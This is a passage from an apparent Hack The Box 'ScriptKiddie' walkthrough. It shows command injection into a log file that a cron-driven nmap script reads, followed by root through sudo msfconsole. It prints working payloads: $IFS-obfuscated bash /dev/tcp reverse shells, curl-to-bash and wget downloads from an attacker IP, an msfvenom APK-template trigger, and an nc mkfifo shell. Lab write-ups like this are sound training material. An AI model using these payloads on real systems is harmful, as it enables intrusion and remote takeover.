/home/kid/.sudo_as_admin_successful
/home/kid/html
/home/kid/html/app.py
/home/kid/html/static
/home/kid/html/static/hacker.css
/home/kid/html/static/payloads
/home/kid/html/static/payloads/2a8c154d3f36.exe
/home/kid/html/hackers
/home/kid/html/templates
/home/kid/html/templates/index.html
/home/kid/.bash_history
/home/kid/.profile
/home/kid/.msf4
/home/kid/.msf4/local
/home/kid/.msf4/logos
/home/kid/.msf4/store
/home/kid/.msf4/store/modules_metadata.json
/home/kid/.msf4/loot
/home/kid/.msf4/plugins
/home/kid/.msf4/modules
/home/kid/.msf4/logs
/home/kid/.msf4/logs/sessions
/home/kid/.msf4/logs/production.log
/home/kid/.msf4/logs/framework.log
/home/kid/.bundle
/home/kid/.ssh
/home/kid/.ssh/authorized_keys
/home/kid/user.txt
/home/kid/logs
/home/kid/logs/hackers
/tmp/hsperfdata_kid
/tmp/lkyv
/tmp/lkwi
/tmp/wqin
/tmp/brzwl

And for files owned by pwn:

$ find / -user pwn 2>/dev/null
/home/pwn
/home/pwn/recon
/home/pwn/.bash_logout
/home/pwn/.local
/home/pwn/.local/share
/home/pwn/.selected_editor
/home/pwn/.bashrc
/home/pwn/.cache
/home/pwn/.profile
/home/pwn/.ssh
/home/pwn/scanlosers.sh

/home/pwn/scanlosers.sh looks interesting. Let’s see what’s inside.

Scanlosers.sh Command Injection

$ cat /home/pwn/scanlosers.sh
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [ $(wc -l < $log) -gt 0 ](#-$(wc--l-<-$log)--gt-0-); then echo -n > $log; fi

It looks like it takes whatever IPs are in the hackers file and runs nmap against them, then wipes the file. We can see if we can catch this behaviour in pspy:

$ cd /tmp
$ wget http://10.10.16.211:8000/pspy64
--2021-06-12 14:01:38--  http://10.10.16.211:8000/pspy64
Connecting to 10.10.16.211:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64              100%[===================>]   2.94M  1.27MB/s    in 2.3s    

2021-06-12 14:01:40 (1.27 MB/s) - ‘pspy64’ saved [3078592/3078592]

$ chmod +x pspy64
$ ./pspy64

Sure enough, when we submit ;id to the searchsploit field we see our IP being scanned:

We can also see some sort of other CRON-based automation, running as root. We can read /etc/crontab to see this:

$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

So, it looks like some sort of automation is reading the hackers file. If we insert a malicious ‘ip address’ into the file, it will be read by pwn and executed as part of the nmap command.

However, the script cuts based on spaces. So we can try to insert a payload that doesn’t have spaces, using the $IFS character:

;/bin/bash$IFS-c$IFS'bash$IFS-i$IFS>&$IFS/dev/tcp/10.10.16.211/9001$IFS0>&1'#

This should end the nmap command with a semicolon, execute our command, then comment the rest out.

Echoing it to the file, however, gives us no results:

kid@scriptkiddie:~/logs$ echo ";/bin/bash$IFS-c$IFS'bash$IFS-i$IFS>&$IFS/dev/tcp/10.10.16.211/9001$IFS0>&1'#" >> hackers

I wondered if it was getting cleared extremely quickly after being written, so I tried to both echo to it and submit ;id to trigger the scanning at the same time:

We can see the scan on our IP, but not our malicious payload.

I tried editing the file just to make sure I had permissions. This time, the edit showed up in the log:

So it looks like writing with nano works. Cool!

Now we just need to add our real payload:

This time we see the injected code:

But the shell immediately dies, just like before!

So… why not reuse the payload that eventually worked?

curl http://10.10.16.211/rev.sh | bash

This payload becomes:

;curl$IFShttp://10.10.16.211/rev.sh$IFS|$IFSbash#

Sending it off, we see the injection but no code execution:

And no hit on our python server:

So I added the /bin/bash -c prefix:

;/bin/bash$IFS-c$IFS'curl$IFShttp://10.10.16.211/rev.sh$IFS|$IFSbash'#

However, I didn’t get anything back. It seems to delete the single quotes from the payload, which may be breaking the command:

I tried a few payloads here, including with both $IFS and ${IFS}:

But none worked.

Working Payload with APK

Eventually, I had the idea to reuse the exploit from before, and manually execute a malicious APK!

I copied across the APK that excecutes the reverse shell using curl:

┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie/www]
└─$ cp /tmp/tmp056ul9j3/evil.apk .
┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie/www]
└─$ mv evil.apk exec-rev.apk

Then I started a python server to serve up both exec-rev.apk and rev.sh on port 80, and executed the command to download the apk:

;wget${IFS}http://10.10.16.211/exec-rev.apk#

This hit my server (twice, strangely):

Then I had to make it execute the malicious apk. I used this command:

;msfvenom${IFS}-x${IFS}/home/pwn/exec-rev.apk${IFS}-p${IFS}android/meterpreter/reverse_tcp${IFS}LHOST=127.0.0.1${IFS}LPORT=4444${IFS}-o${IFS}/dev/null#

(I used find to get the path):

kid@scriptkiddie:~/logs$ find / -name "exec-rev.apk" 2>/dev/null
/home/pwn/exec-rev.apk

It executed:

And gave me a shell as pwn!

Shell as pwn -> Root

The first things I checked were my groups and sudo permissions:

pwn@scriptkiddie:~$ id
id
uid=1001(pwn) gid=1001(pwn) groups=1001(pwn)
pwn@scriptkiddie:~$ sudo -l
sudo -l
Matching Defaults entries for pwn on scriptkiddie:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pwn may run the following commands on scriptkiddie:
    (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole

What do you know? In very on-brand fashion, we can run metasploit as root!

We could use this to run the apk exploit as root, but that’s no fun - we’ve already used it twice.

Instead, we can use metasploit’s in built shell to run commands. I ran sudo msfconsole -q (-q flag being optional) and then just typed /bin/bash to get a root shell :)

That’s the box!

Notes on Alternative Methods

An easier way of ‘bypassing’ the cut command (courtesy of ippsec) was just to match the correct format of the log file, by inserting two rows of arbitrary data before the command:

kid@scriptkiddie:~/logs$ echo 'whatever whatever ;/bin/bash -c "bash -i >& /dev/tcp/10.10.16.211/9001 0>&1"' >> hackers

This gives us another unstable shell that immediately dies:

A nice alternative payload (courtesy of a colleague) would have been:

kid@scriptkiddie:~/logs$ echo 'whatever whatever ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.211 9001 >/tmp/f' >> hackers

This gives us a shell that doesn’t immediately die - but it doesn’t send any commands either.

I’d be interested to see if there was a good way to get a stable shell this way. I’d also be interested to see if there was a good way of exploiting the command injection in the searchsploit field that partially worked early on, but I couldn’t get it to work myself.